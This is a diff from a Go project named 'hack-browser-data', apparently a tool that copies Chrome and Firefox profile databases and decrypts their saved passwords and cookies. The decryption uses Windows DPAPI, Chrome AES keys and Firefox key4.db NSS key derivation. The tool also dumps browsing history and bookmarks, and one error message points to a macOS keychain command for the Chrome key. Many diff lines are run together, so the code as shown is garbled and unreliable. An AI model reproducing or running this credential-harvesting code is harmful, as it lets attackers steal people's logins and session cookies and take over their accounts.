cookieMap[host] = append(cookieMap[host], cookie)
} else {
cookieMap[host] = []cookies{cookie}
} }
h.history = append(h.history, data)
} }
FullData.CookieMap = cookieMap return nil
} }
var queryHistory = `SELECT url, title, visit_count, last_visit_time FROM urls` func (c *Cookies) ChromeParse(secretKey []byte) error {
cookie := cookies{}
func parseHistory() { c.cookies = make(map[string][]cookies)
var historyList HistorySlice cookieDB, err := sql.Open("sqlite3", utils.Cookies)
h := history{}
historyDB, err := sql.Open("sqlite3", utils.History)
defer func() { defer func() {
if err := os.Remove(utils.History); err != nil { if err := os.Remove(utils.Cookies); err != nil {
log.Error(err) log.Error(err)
} }
}() }()
defer func() { defer func() {
if err := historyDB.Close(); err != nil { if err := cookieDB.Close(); err != nil {
log.Debug(err) log.Debug(err)
} }
}() }()
if err != nil { if err != nil {
log.Debug(err) log.Debug(err)
return err
} }
err = historyDB.Ping() err = cookieDB.Ping()
rows, err := historyDB.Query(queryHistory) var queryCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies`
rows, err := cookieDB.Query(queryCookie)
defer func() { defer func() {
if err := rows.Close(); err != nil { if err := rows.Close(); err != nil {
log.Debug(err) log.Debug(err)
@ -266,63 +270,57 @@ func parseHistory() {
}() }()
for rows.Next() { for rows.Next() {
var ( var (
url, title string key, host, path string
visitCount int isSecure, isHTTPOnly, hasExpire, isPersistent int
lastVisitTime int64 createDate, expireDate int64
value, encryptValue []byte
) )
err := rows.Scan(&url, &title, &visitCount, &lastVisitTime) err = rows.Scan(&key, &encryptValue, &host, &path, &createDate, &expireDate, &isSecure, &isHTTPOnly, &hasExpire, &isPersistent)
h = history{ cookie = cookies{
Url: url, KeyName: key,
Title: title, Host: host,
VisitCount: visitCount, Path: path,
LastVisitTime: utils.TimeEpochFormat(lastVisitTime), encryptValue: encryptValue,
} IsSecure: utils.IntToBool(isSecure),
if err != nil { IsHTTPOnly: utils.IntToBool(isHTTPOnly),
log.Debug(err) HasExpire: utils.IntToBool(hasExpire),
continue IsPersistent: utils.IntToBool(isPersistent),
CreateDate: utils.TimeEpochFormat(createDate),
ExpireDate: utils.TimeEpochFormat(expireDate),
} }
historyList = append(historyList, h) // remove prefix 'v10'
if secretKey == nil {
value, err = decrypt.DPApi(encryptValue)
} else {
value, err = decrypt.ChromePass(secretKey, encryptValue)
} }
FullData.HistorySlice = historyList
}
func getBookmarkChildren(value gjson.Result) (children gjson.Result) { cookie.Value = string(value)
b := bookmarks{} if _, ok := c.cookies[host]; ok {
b.ID = value.Get(bookmarkID).Int() c.cookies[host] = append(c.cookies[host], cookie)
nodeType := value.Get(bookmarkType) } else {
b.DateAdded = utils.TimeEpochFormat(value.Get(bookmarkAdded).Int()) c.cookies[host] = []cookies{cookie}
b.URL = value.Get(bookmarkUrl).String()
b.Name = value.Get(bookmarkName).String()
children = value.Get(bookmarkChildren)
if nodeType.Exists() {
b.Type = nodeType.String()
bookmarkList = append(bookmarkList, b)
if children.Exists() && children.IsArray() {
for _, v := range children.Array() {
children = getBookmarkChildren(v)
}
} }
} }
return children return nil
} }
var queryFirefoxBookMarks = `SELECT id, fk, type, dateAdded, title FROM moz_bookmarks` func (h *History) FirefoxParse() error {
var queryFirefoxHistory = `SELECT id, url, title, last_visit_date, visit_count FROM moz_places` var queryFirefoxHistory = `SELECT id, url, title, last_visit_date, visit_count FROM moz_places`
// places.sqlite doc @https://developer.mozilla.org/en-US/docs/Mozilla/Tech/Places/Database
func parseFirefoxData() {
var historyList HistorySlice
var ( var (
err error err error
keyDB *sql.DB keyDB *sql.DB
bookmarkRows, historyRows *sql.Rows historyRows *sql.Rows
tempMap map[int64]string tempMap map[int64]string
bookmarkUrl string
) )
tempMap = make(map[int64]string) tempMap = make(map[int64]string)
keyDB, err = sql.Open("sqlite3", utils.FirefoxData) keyDB, err = sql.Open("sqlite3", FirefoxData)
if err != nil {
log.Error(err)
return err
}
defer func() { defer func() {
if err := os.Remove(utils.FirefoxData); err != nil { if err := os.Remove(FirefoxData); err != nil {
log.Error(err) log.Error(err)
} }
}() }()
@ -332,14 +330,11 @@ func parseFirefoxData() {
log.Error(err) log.Error(err)
} }
}() }()
if err != nil {
log.Error(err)
}
historyRows, err = keyDB.Query(queryFirefoxHistory) historyRows, err = keyDB.Query(queryFirefoxHistory)
if err != nil { if err != nil {
log.Error(err) log.Error(err)
return err
} }
defer func() { defer func() {
if err := historyRows.Close(); err != nil { if err := historyRows.Close(); err != nil {
log.Error(err) log.Error(err)
@ -352,7 +347,7 @@ func parseFirefoxData() {
visitCount int visitCount int
) )
err = historyRows.Scan(&id, &url, &title, &visitDate, &visitCount) err = historyRows.Scan(&id, &url, &title, &visitDate, &visitCount)
historyList = append(historyList, history{ h.history = append(h.history, history{
Title: title, Title: title,
Url: url, Url: url,
VisitCount: visitCount, VisitCount: visitCount,
@ -360,8 +355,28 @@ func parseFirefoxData() {
}) })
tempMap[id] = url tempMap[id] = url
} }
FullData.HistorySlice = historyList return nil
}
func (b *Bookmarks) FirefoxParse() error {
var (
err error
keyDB *sql.DB
bookmarkRows *sql.Rows
tempMap map[int64]string
bookmarkUrl string
)
var queryFirefoxBookMarks = `SELECT id, fk, type, dateAdded, title FROM moz_bookmarks`
keyDB, err = sql.Open("sqlite3", FirefoxData)
if err != nil {
log.Error(err)
return err
}
defer func() {
if err := os.Remove(FirefoxData); err != nil {
log.Error(err)
}
}()
bookmarkRows, err = keyDB.Query(queryFirefoxBookMarks) bookmarkRows, err = keyDB.Query(queryFirefoxBookMarks)
defer func() { defer func() {
if err := bookmarkRows.Close(); err != nil { if err := bookmarkRows.Close(); err != nil {
@ -377,7 +392,7 @@ func parseFirefoxData() {
if url, ok := tempMap[id]; ok { if url, ok := tempMap[id]; ok {
bookmarkUrl = url bookmarkUrl = url
} }
bookmarkList = append(bookmarkList, bookmarks{ b.bookmarks = append(b.bookmarks, bookmark{
ID: id, ID: id,
Name: title, Name: title,
Type: utils.BookMarkType(bType), Type: utils.BookMarkType(bType),
@ -385,195 +400,192 @@ func parseFirefoxData() {
DateAdded: utils.TimeStampFormat(dateAdded / 1000000), DateAdded: utils.TimeStampFormat(dateAdded / 1000000),
}) })
} }
FullData.BookmarkSlice = bookmarkList return nil
} }
var queryPassword = `SELECT item1, item2 FROM metaData WHERE id = 'password'` var queryFirefoxCookie = `SELECT name, value, host, path, creationTime, expiry, isSecure, isHttpOnly FROM moz_cookies`
var queryNssPrivate = `SELECT a11, a102 from nssPrivate`
func GetDecryptKey() (b [][]byte) { func (c *Cookies) FirefoxParse() error {
var ( cookie := cookies{}
err error c.cookies = make(map[string][]cookies)
keyDB *sql.DB cookieDB, err := sql.Open("sqlite3", FirefoxCookie)
pwdRows *sql.Rows
nssRows *sql.Rows
)
defer func() {
if err := os.Remove(utils.FirefoxKey4DB); err != nil {
log.Error(err)
}
}()
keyDB, err = sql.Open("sqlite3", utils.FirefoxKey4DB)
defer func() {
if err := keyDB.Close(); err != nil {
log.Error(err)
}
}()
if err != nil { if err != nil {
log.Debug(err) log.Debug(err)
return err
} }
err = keyDB.Ping()
pwdRows, err = keyDB.Query(queryPassword)
defer func() { defer func() {
if err := pwdRows.Close(); err != nil { if err := os.Remove(FirefoxCookie); err != nil {
log.Debug(err) log.Debug(err)
} }
}() }()
for pwdRows.Next() { defer func() {
var ( if err := cookieDB.Close(); err != nil {
item1, item2 []byte log.Debug(err)
)
if err := pwdRows.Scan(&item1, &item2); err != nil {
log.Error(err)
continue
}
b = append(b, item1, item2)
} }
}()
err = cookieDB.Ping()
rows, err := cookieDB.Query(queryFirefoxCookie)
if err != nil { if err != nil {
log.Error(err) log.Error(err)
return err
} }
nssRows, err = keyDB.Query(queryNssPrivate)
defer func() { defer func() {
if err := nssRows.Close(); err != nil { if err := rows.Close(); err != nil {
log.Debug(err) log.Debug(err)
} }
}() }()
for nssRows.Next() { for rows.Next() {
var ( var (
a11, a102 []byte name, value, host, path string
isSecure, isHttpOnly int
creationTime, expiry int64
) )
if err := nssRows.Scan(&a11, &a102); err != nil { err = rows.Scan(&name, &value, &host, &path, &creationTime, &expiry, &isSecure, &isHttpOnly)
log.Debug(err) cookie = cookies{
KeyName: name,
Host: host,
Path: path,
IsSecure: utils.IntToBool(isSecure),
IsHTTPOnly: utils.IntToBool(isHttpOnly),
CreateDate: utils.TimeStampFormat(creationTime / 1000000),
ExpireDate: utils.TimeStampFormat(expiry),
} }
b = append(b, a11, a102)
cookie.Value = value
if _, ok := c.cookies[host]; ok {
c.cookies[host] = append(c.cookies[host], cookie)
} else {
c.cookies[host] = []cookies{cookie}
} }
return b }
return nil
} }
func parseFirefoxKey4() { func (l *Logins) FirefoxParse() error {
h1 := GetDecryptKey() globalSalt, metaBytes, nssA11, nssA102, err := getDecryptKey()
globalSalt := h1[0] if err != nil {
metaBytes := h1[1] log.Error(err)
nssA11 := h1[2] return err
nssA102 := h1[3] }
keyLin := []byte{248, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1} keyLin := []byte{248, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1}
meta, err := utils.DecodeMeta(metaBytes) meta, err := decrypt.DecodeMeta(metaBytes)
if err != nil { if err != nil {
log.Error("decrypt meta data failed", err) log.Error("decrypt meta data failed", err)
return return err
} }
var masterPwd []byte var masterPwd []byte
m, err := utils.DecryptMeta(globalSalt, masterPwd, meta) m, err := decrypt.Meta(globalSalt, masterPwd, meta)
if err != nil { if err != nil {
log.Error("decrypt firefox failed", err) log.Error("decrypt firefox failed", err)
return return err
} }
if bytes.Contains(m, []byte("password-check")) { if bytes.Contains(m, []byte("password-check")) {
log.Debugf("password-check success") log.Debugf("password-check success")
m := bytes.Compare(nssA102, keyLin) m := bytes.Compare(nssA102, keyLin)
if m == 0 { if m == 0 {
nss, err := utils.DecodeNss(nssA11) nss, err := decrypt.DecodeNss(nssA11)
if err != nil { if err != nil {
log.Error(err) log.Error(err)
return return err
} }
log.Debugf("decrypt asn1 pbe success") log.Debugf("decrypt asn1 pbe success")
finallyKey, err := utils.DecryptNss(globalSalt, masterPwd, nss) finallyKey, err := decrypt.Nss(globalSalt, masterPwd, nss)
finallyKey = finallyKey[:24] finallyKey = finallyKey[:24]
if err != nil { if err != nil {
log.Error(err) log.Error(err)
return return err
}
log.Debug("get firefox finally key success")
allLogins, err := getLoginData()
if err != nil {
return err
} }
log.Debugf("finally key", finallyKey, hex.EncodeToString(finallyKey))
allLogins := GetLoginData()
for _, v := range allLogins { for _, v := range allLogins {
log.Debug(hex.EncodeToString(v.encryptUser)) user, _ := decrypt.DecodeLogin(v.encryptUser)
user, _ := utils.DecodeLogin(v.encryptUser) pwd, _ := decrypt.DecodeLogin(v.encryptPass)
log.Debug(hex.EncodeToString(v.encryptPass)) u, err := decrypt.Des3Decrypt(finallyKey, user.Iv, user.Encrypted)
pwd, _ := utils.DecodeLogin(v.encryptPass)
log.Debug(user, user.CipherText, user.Encrypted, user.Iv)
u, err := utils.Des3Decrypt(finallyKey, user.Iv, user.Encrypted)
if err != nil { if err != nil {
log.Error(err) log.Error(err)
return return err
} }
p, err := utils.Des3Decrypt(finallyKey, pwd.Iv, pwd.Encrypted) log.Debug("decrypt firefox success")
p, err := decrypt.Des3Decrypt(finallyKey, pwd.Iv, pwd.Encrypted)
if err != nil { if err != nil {
log.Error(err) log.Error(err)
return return err
} }
FullData.LoginDataSlice = append(FullData.LoginDataSlice, loginData{ l.logins = append(l.logins, loginData{
LoginUrl: v.LoginUrl, LoginUrl: v.LoginUrl,
UserName: string(utils.PKCS5UnPadding(u)), UserName: string(decrypt.PKCS5UnPadding(u)),
Password: string(utils.PKCS5UnPadding(p)), Password: string(decrypt.PKCS5UnPadding(p)),
CreateDate: v.CreateDate, CreateDate: v.CreateDate,
}) })
} }
} }
} }
return nil
} }
var queryFirefoxCookie = `SELECT name, value, host, path, creationTime, expiry, isSecure, isHttpOnly FROM moz_cookies` func getDecryptKey() (item1, item2, a11, a102 []byte, err error) {
var (
func parseFirefoxCookie() { keyDB *sql.DB
cookie := cookies{} pwdRows *sql.Rows
cookieMap := make(map[string][]cookies) nssRows *sql.Rows
cookieDB, err := sql.Open("sqlite3", utils.FirefoxCookie) )
defer func() { defer func() {
if err := os.Remove(utils.FirefoxCookie); err != nil { if err := os.Remove(utils.FirefoxKey4DB); err != nil {
log.Debug(err) log.Error(err)
} }
}() }()
keyDB, err = sql.Open("sqlite3", utils.FirefoxKey4DB)
defer func() { defer func() {
if err := cookieDB.Close(); err != nil { if err := keyDB.Close(); err != nil {
log.Debug(err) log.Error(err)
} }
}() }()
if err != nil { if err != nil {
log.Debug(err) log.Debug(err)
} }
err = cookieDB.Ping() var queryPassword = `SELECT item1, item2 FROM metaData WHERE id = 'password'`
rows, err := cookieDB.Query(queryFirefoxCookie) var queryNssPrivate = `SELECT a11, a102 from nssPrivate`
err = keyDB.Ping()
pwdRows, err = keyDB.Query(queryPassword)
defer func() { defer func() {
if err := rows.Close(); err != nil { if err := pwdRows.Close(); err != nil {
log.Debug(err) log.Debug(err)
} }
}() }()
for rows.Next() { for pwdRows.Next() {
var ( if err := pwdRows.Scan(&item1, &item2); err != nil {
name, value, host, path string log.Error(err)
isSecure, isHttpOnly int continue
creationTime, expiry int64
)
err = rows.Scan(&name, &value, &host, &path, &creationTime, &expiry, &isSecure, &isHttpOnly)
cookie = cookies{
KeyName: name,
Host: host,
Path: path,
IsSecure: utils.IntToBool(isSecure),
IsHTTPOnly: utils.IntToBool(isHttpOnly),
CreateDate: utils.TimeStampFormat(creationTime / 1000000),
ExpireDate: utils.TimeStampFormat(expiry),
} }
cookie.Value = value
if _, ok := cookieMap[host]; ok {
cookieMap[host] = append(cookieMap[host], cookie)
} else {
cookieMap[host] = []cookies{cookie}
} }
if err != nil {
log.Error(err)
} }
FullData.CookieMap = cookieMap nssRows, err = keyDB.Query(queryNssPrivate)
defer func() {
if err := nssRows.Close(); err != nil {
log.Debug(err)
}
}()
for nssRows.Next() {
if err := nssRows.Scan(&a11, &a102); err != nil {
log.Debug(err)
}
}
return item1, item2, a11, a102, nil
} }
func GetLoginData() (l []loginData) { func getLoginData() (l []loginData, err error) {
s, err := ioutil.ReadFile(utils.FirefoxLoginData) s, err := ioutil.ReadFile(FirefoxLoginData)
if err != nil { if err != nil {
log.Warn(err) return nil, err
} }
defer func() { defer func() {
if err := os.Remove(utils.FirefoxLoginData); err != nil { if err := os.Remove(FirefoxLoginData); err != nil {
log.Error(err) log.Error(err)
} }
}() }()
@ -599,3 +611,32 @@ func GetLoginData() (l []loginData) {
} }
return return
} }
func (b *BrowserData) Sorted() {
sort.Slice(b.bookmarks, func(i, j int) bool {
return b.bookmarks[i].ID < b.bookmarks[j].ID
})
sort.Slice(b.history, func(i, j int) bool {
return b.history[i].VisitCount > b.history[j].VisitCount
})
sort.Sort(b.Logins)
}
func (l Logins) Len() int {
return len(l.logins)
}
func (l Logins) Less(i, j int) bool {
return l.logins[i].CreateDate.After(l.logins[j].CreateDate)
}
func (l Logins) Swap(i, j int) {
l.logins[i], l.logins[j] = l.logins[j], l.logins[i]
}
type Formatter interface {
ChromeParse(key []byte) error
FirefoxParse() error
OutPutJson(browser, dir string) error
OutPutCsv(browser, dir string) error
}

@ -0,0 +1,85 @@
package decrypt
import (
"crypto/aes"
"crypto/cipher"
"crypto/des"
"encoding/asn1"
"errors"
"hack-browser-data/log"
)
var (
errKeyIsEmpty = errors.New("input [security find-generic-password -wa 'Chrome'] in terminal")
errPasswordIsEmpty = errors.New("password is empty")
errDecryptFailed = errors.New("decrypt failed, password is empty")
)
func aes128CBCDecrypt(key, iv, encryptPass []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return []byte{}, err
}
dst := make([]byte, len(encryptPass))
mode := cipher.NewCBCDecrypter(block, iv)
mode.CryptBlocks(dst, encryptPass)
dst = PKCS5UnPadding(dst)
return dst, nil
}
func PKCS5UnPadding(src []byte) []byte {
length := len(src)
unpad := int(src[length-1])
return src[:(length - unpad)]
}
func Des3Decrypt(key, iv []byte, src []byte) ([]byte, error) {
block, err := des.NewTripleDESCipher(key)
if err != nil {
log.Error(err)
return nil, err
}
blockMode := cipher.NewCBCDecrypter(block, iv)
sq := make([]byte, len(src))
blockMode.CryptBlocks(sq, src)
return sq, nil
}
func PaddingZero(s []byte, l int) []byte {
h := l - len(s)
if h <= 0 {
return s
} else {
for i := len(s); i < l; i++ {
s = append(s, 0)
}
return s
}
}
/*
SEQUENCE (3 elem)
OCTET STRING (16 byte)
SEQUENCE (2 elem)
OBJECT IDENTIFIER 1.2.840.113549.3.7 des-EDE3-CBC (RSADSI encryptionAlgorithm)
OCTET STRING (8 byte)
OCTET STRING (16 byte)
*/
type LoginPBE struct {
CipherText []byte
SequenceLogin
Encrypted []byte
}
type SequenceLogin struct {
asn1.ObjectIdentifier
Iv []byte
}
func DecodeLogin(decodeItem []byte) (pbe LoginPBE, err error) {
_, err = asn1.Unmarshal(decodeItem, &pbe)
if err != nil {
log.Error(err)
return
}
return pbe, nil
}

@ -0,0 +1,115 @@
package decrypt
import (
"crypto/hmac"
"crypto/sha1"
"encoding/asn1"
"hack-browser-data/log"
)
var (
chromeIV = []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32}
)
func ChromePass(key, encryptPass []byte) ([]byte, error) {
if len(encryptPass) > 3 {
if len(key) == 0 {
return nil, errKeyIsEmpty
}
m, err := aes128CBCDecrypt(key, chromeIV, encryptPass[3:])
return m, err
} else {
return nil, errDecryptFailed
}
}
/*
SEQUENCE (2 elem)
SEQUENCE (2 elem)
OBJECT IDENTIFIER
SEQUENCE (2 elem)
OCTET STRING (20 byte)
INTEGER 1
OCTET STRING (16 byte)
*/
type NssPBE struct {
SequenceA
Encrypted []byte
}
type MetaPBE struct {
SequenceA
Encrypted []byte
}
type SequenceA struct {
DecryptMethod asn1.ObjectIdentifier
SequenceB
}
type SequenceB struct {
EntrySalt []byte
Len int
}
func DecodeMeta(metaBytes []byte) (pbe MetaPBE, err error) {
_, err = asn1.Unmarshal(metaBytes, &pbe)
if err != nil {
log.Error(err)
return
}
return
}
func DPApi(data []byte) ([]byte, error) {
return nil, nil
}
func DecodeNss(nssA11Bytes []byte) (pbe NssPBE, err error) {
_, err = asn1.Unmarshal(nssA11Bytes, &pbe)
if err != nil {
log.Error(err)
return
}
return
}
func Meta(globalSalt, masterPwd []byte, pbe MetaPBE) ([]byte, error) {
return decryptPBE(globalSalt, masterPwd, pbe.EntrySalt, pbe.Encrypted)
}
func Nss(globalSalt, masterPwd []byte, pbe NssPBE) ([]byte, error) {
return decryptPBE(globalSalt, masterPwd, pbe.EntrySalt, pbe.Encrypted)
}
func decryptPBE(globalSalt, masterPwd, entrySalt, encrypted []byte) ([]byte, error) {
//byte[] GLMP; // GlobalSalt + MasterPassword
//byte[] HP; // SHA1(GLMP)
//byte[] HPES; // HP + EntrySalt
//byte[] CHP; // SHA1(HPES)
//byte[] PES; // EntrySalt completed to 20 bytes by zero
//byte[] PESES; // PES + EntrySalt
//byte[] k1;
//byte[] tk;
//byte[] k2;
//byte[] k; // final value conytaining key and iv
glmp := append(globalSalt, masterPwd...)
hp := sha1.Sum(glmp)
s := append(hp[:], entrySalt...)
chp := sha1.Sum(s)
pes := PaddingZero(entrySalt, 20)
tk := hmac.New(sha1.New, chp[:])
tk.Write(pes)
pes = append(pes, entrySalt...)
k1 := hmac.New(sha1.New, chp[:])
k1.Write(pes)
tkPlus := append(tk.Sum(nil), entrySalt...)
k2 := hmac.New(sha1.New, chp[:])
k2.Write(tkPlus)
k := append(k1.Sum(nil), k2.Sum(nil)...)
iv := k[len(k)-8:]
key := k[:24]
log.Debug("get firefox pbe key and iv success")
return Des3Decrypt(key, iv, encrypted)
}

@ -1,4 +1,4 @@
package utils package decrypt
import ( import (
"crypto/hmac" "crypto/hmac"
@ -7,7 +7,6 @@ import (
"encoding/asn1" "encoding/asn1"
"encoding/hex" "encoding/hex"
"hack-browser-data/log" "hack-browser-data/log"
"strings"
"golang.org/x/crypto/pbkdf2" "golang.org/x/crypto/pbkdf2"
) )
@ -18,55 +17,26 @@ const (
) )
var ( var (
iv = []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32} chromeIV = []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32}
command = []string{"security", "find-generic-password", "-wa"}
chromeSalt = []byte("saltysalt") chromeSalt = []byte("saltysalt")
chromeKey []byte
browserList = map[string]struct {
ProfilePath string
Command string
}{
"firefox": {
fireFoxProfilePath,
fireFoxCommand,
},
}
) )
func InitKey(string) error { func ChromePass(key, encryptPass []byte) ([]byte, error) {
return nil
}
func DecryptStringWithDPAPI(data []byte) (string, error) {
return string(data), nil
}
func PickBrowser(name string) (browserDir, command string, err error) {
name = strings.ToLower(name)
if choice, ok := browserList[name]; ok {
return choice.ProfilePath, choice.Command, err
}
return "", "", errBrowserNotSupported
}
func decryptChromeKey(chromePass []byte) {
chromeKey = pbkdf2.Key(chromePass, chromeSalt, 1003, 16, sha1.New)
}
func DecryptChromePass(encryptPass []byte) (string, error) {
if len(encryptPass) > 3 { if len(encryptPass) > 3 {
if len(chromeKey) == 0 { if len(key) == 0 {
return "", errKeyIsEmpty return nil, errKeyIsEmpty
} }
m, err := aes128CBCDecrypt(chromeKey, iv, encryptPass[3:]) m, err := aes128CBCDecrypt(key, chromeIV, encryptPass[3:])
return string(m), err return m, err
} else { } else {
return "", &DecryptError{ return nil, errDecryptFailed
err: errPasswordIsEmpty,
}
} }
} }
func DPApi(data []byte) ([]byte, error) {
return nil, nil
}
/* /*
SEQUENCE (2 elem) SEQUENCE (2 elem)
SEQUENCE (2 elem) SEQUENCE (2 elem)
@ -146,11 +116,11 @@ func DecodeNss(nssA11Bytes []byte) (pbe NssPBE, err error) {
return return
} }
func DecryptMeta(globalSalt, masterPwd []byte, pbe MetaPBE) ([]byte, error) { func Meta(globalSalt, masterPwd []byte, pbe MetaPBE) ([]byte, error) {
return decryptMeta(globalSalt, masterPwd, pbe.EntrySalt, pbe.Encrypted) return decryptMeta(globalSalt, masterPwd, pbe.EntrySalt, pbe.Encrypted)
} }
func DecryptNss(globalSalt, masterPwd []byte, pbe NssPBE) ([]byte, error) { func Nss(globalSalt, masterPwd []byte, pbe NssPBE) ([]byte, error) {
return decryptNss(globalSalt, masterPwd, pbe.IV, pbe.EntrySalt, pbe.Encrypted, pbe.IterationCount, pbe.KeySize) return decryptNss(globalSalt, masterPwd, pbe.IV, pbe.EntrySalt, pbe.Encrypted, pbe.IterationCount, pbe.KeySize)
} }

@ -1,4 +1,4 @@
package utils package decrypt
import ( import (
"crypto/aes" "crypto/aes"
@ -6,18 +6,12 @@ import (
"crypto/sha1" "crypto/sha1"
"crypto/sha256" "crypto/sha256"
"encoding/asn1" "encoding/asn1"
"encoding/base64"
"encoding/hex" "encoding/hex"
"errors"
"hack-browser-data/log" "hack-browser-data/log"
"os"
"strings"
"syscall" "syscall"
"unsafe" "unsafe"
"golang.org/x/crypto/pbkdf2" "golang.org/x/crypto/pbkdf2"
"github.com/tidwall/gjson"
) )
const ( const (
@ -34,8 +28,6 @@ const (
) )
var ( var (
chromeKey []byte
browserList = map[string]struct { browserList = map[string]struct {
ProfilePath string ProfilePath string
KeyPath string KeyPath string
@ -63,84 +55,48 @@ var (
} }
) )
func PickBrowser(name string) (browserDir, key string, err error) { func ChromePass(encryptPass, key []byte) ([]byte, error) {
name = strings.ToLower(name)
if choice, ok := browserList[name]; ok {
if choice.KeyPath != "" {
return os.Getenv("USERPROFILE") + choice.ProfilePath, os.Getenv("USERPROFILE") + choice.KeyPath, nil
} else {
return os.Getenv("USERPROFILE") + choice.ProfilePath, "", nil
}
}
return "", "", errBrowserNotSupported
}
var (
errBase64DecodeFailed = errors.New("decode base64 failed")
)
func InitKey(key string) error {
if key == "" {
VersionUnder80 = true
return nil
}
keyFile, err := ReadFile(key)
if err != nil {
return err
}
encryptedKey := gjson.Get(keyFile, "os_crypt.encrypted_key")
if encryptedKey.Exists() {
pureKey, err := base64.StdEncoding.DecodeString(encryptedKey.String())
if err != nil {
return errBase64DecodeFailed
}
chromeKey, err = decryptStringWithDPAPI(pureKey[5:])
return nil
} else {
VersionUnder80 = true
return nil
}
}
func DecryptChromePass(encryptPass []byte) (string, error) {
if len(encryptPass) > 15 { if len(encryptPass) > 15 {
// remove prefix 'v10' // remove prefix 'v10'
return aesGCMDecrypt(encryptPass[15:], chromeKey, encryptPass[3:15]) return aesGCMDecrypt(encryptPass[15:], key, encryptPass[3:15])
} else { } else {
return "", errPasswordIsEmpty return nil, errPasswordIsEmpty
} }
} }
// chromium > 80 https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_win.cc // chromium > 80 https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_win.cc
func aesGCMDecrypt(crypted, key, nounce []byte) (string, error) { func aesGCMDecrypt(crypted, key, nounce []byte) ([]byte, error) {
block, err := aes.NewCipher(key) block, err := aes.NewCipher(key)
if err != nil { if err != nil {
return "", err return nil, err
} }
blockMode, err := cipher.NewGCM(block) blockMode, err := cipher.NewGCM(block)
if err != nil {
return nil, err
}
origData, err := blockMode.Open(nil, nounce, crypted, nil) origData, err := blockMode.Open(nil, nounce, crypted, nil)
if err != nil { if err != nil {
return "", err return nil, err
} }
return string(origData), nil return origData, nil
} }
type DataBlob struct { type dataBlob struct {
cbData uint32 cbData uint32
pbData *byte pbData *byte
} }
func NewBlob(d []byte) *DataBlob { func NewBlob(d []byte) *dataBlob {
if len(d) == 0 { if len(d) == 0 {
return &DataBlob{} return &dataBlob{}
} }
return &DataBlob{ return &dataBlob{
pbData: &d[0], pbData: &d[0],
cbData: uint32(len(d)), cbData: uint32(len(d)),
} }
} }
func (b *DataBlob) ToByteArray() []byte { func (b *dataBlob) ToByteArray() []byte {
d := make([]byte, b.cbData) d := make([]byte, b.cbData)
copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:]) copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:])
return d return d
@ -152,7 +108,7 @@ func decryptStringWithDPAPI(data []byte) ([]byte, error) {
dllKernel := syscall.NewLazyDLL("Kernel32.dll") dllKernel := syscall.NewLazyDLL("Kernel32.dll")
procDecryptData := dllCrypt.NewProc("CryptUnprotectData") procDecryptData := dllCrypt.NewProc("CryptUnprotectData")
procLocalFree := dllKernel.NewProc("LocalFree") procLocalFree := dllKernel.NewProc("LocalFree")
var outBlob DataBlob var outBlob dataBlob
r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outBlob))) r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outBlob)))
if r == 0 { if r == 0 {
return nil, err return nil, err
@ -161,18 +117,18 @@ func decryptStringWithDPAPI(data []byte) ([]byte, error) {
return outBlob.ToByteArray(), nil return outBlob.ToByteArray(), nil
} }
func DecryptStringWithDPAPI(data []byte) (string, error) { func DPApi(data []byte) ([]byte, error) {
dllCrypt := syscall.NewLazyDLL("Crypt32.dll") dllCrypt := syscall.NewLazyDLL("Crypt32.dll")
dllKernel := syscall.NewLazyDLL("Kernel32.dll") dllKernel := syscall.NewLazyDLL("Kernel32.dll")
procDecryptData := dllCrypt.NewProc("CryptUnprotectData") procDecryptData := dllCrypt.NewProc("CryptUnprotectData")
procLocalFree := dllKernel.NewProc("LocalFree") procLocalFree := dllKernel.NewProc("LocalFree")
var outBlob DataBlob var outBlob dataBlob
r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outBlob))) r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outBlob)))
if r == 0 { if r == 0 {
return "", err return nil, err
} }
defer procLocalFree.Call(uintptr(unsafe.Pointer(outBlob.pbData))) defer procLocalFree.Call(uintptr(unsafe.Pointer(outBlob.pbData)))
return string(outBlob.ToByteArray()), nil return outBlob.ToByteArray(), nil
} }
type NssPBE struct { type NssPBE struct {
@ -233,11 +189,11 @@ func DecodeNss(nssA11Bytes []byte) (pbe NssPBE, err error) {
return return
} }
func DecryptMeta(globalSalt, masterPwd []byte, pbe MetaPBE) ([]byte, error) { func Meta(globalSalt, masterPwd []byte, pbe MetaPBE) ([]byte, error) {
return decryptMeta(globalSalt, masterPwd, pbe.IV, pbe.EntrySalt, pbe.Encrypted, pbe.IterationCount, pbe.KeySize) return decryptMeta(globalSalt, masterPwd, pbe.IV, pbe.EntrySalt, pbe.Encrypted, pbe.IterationCount, pbe.KeySize)
} }
func DecryptNss(globalSalt, masterPwd []byte, pbe NssPBE) ([]byte, error) { func Nss(globalSalt, masterPwd []byte, pbe NssPBE) ([]byte, error) {
return decryptMeta(globalSalt, masterPwd, pbe.IV, pbe.EntrySalt, pbe.Encrypted, pbe.IterationCount, pbe.KeySize) return decryptMeta(globalSalt, masterPwd, pbe.IV, pbe.EntrySalt, pbe.Encrypted, pbe.IterationCount, pbe.KeySize)
} }

@ -1,156 +0,0 @@
package core
import (
"bytes"
"encoding/json"
"fmt"
"hack-browser-data/log"
"hack-browser-data/utils"
"os"
"sort"
"github.com/jszwec/csvutil"
)
var utf8Bom = []byte{239, 187, 191}
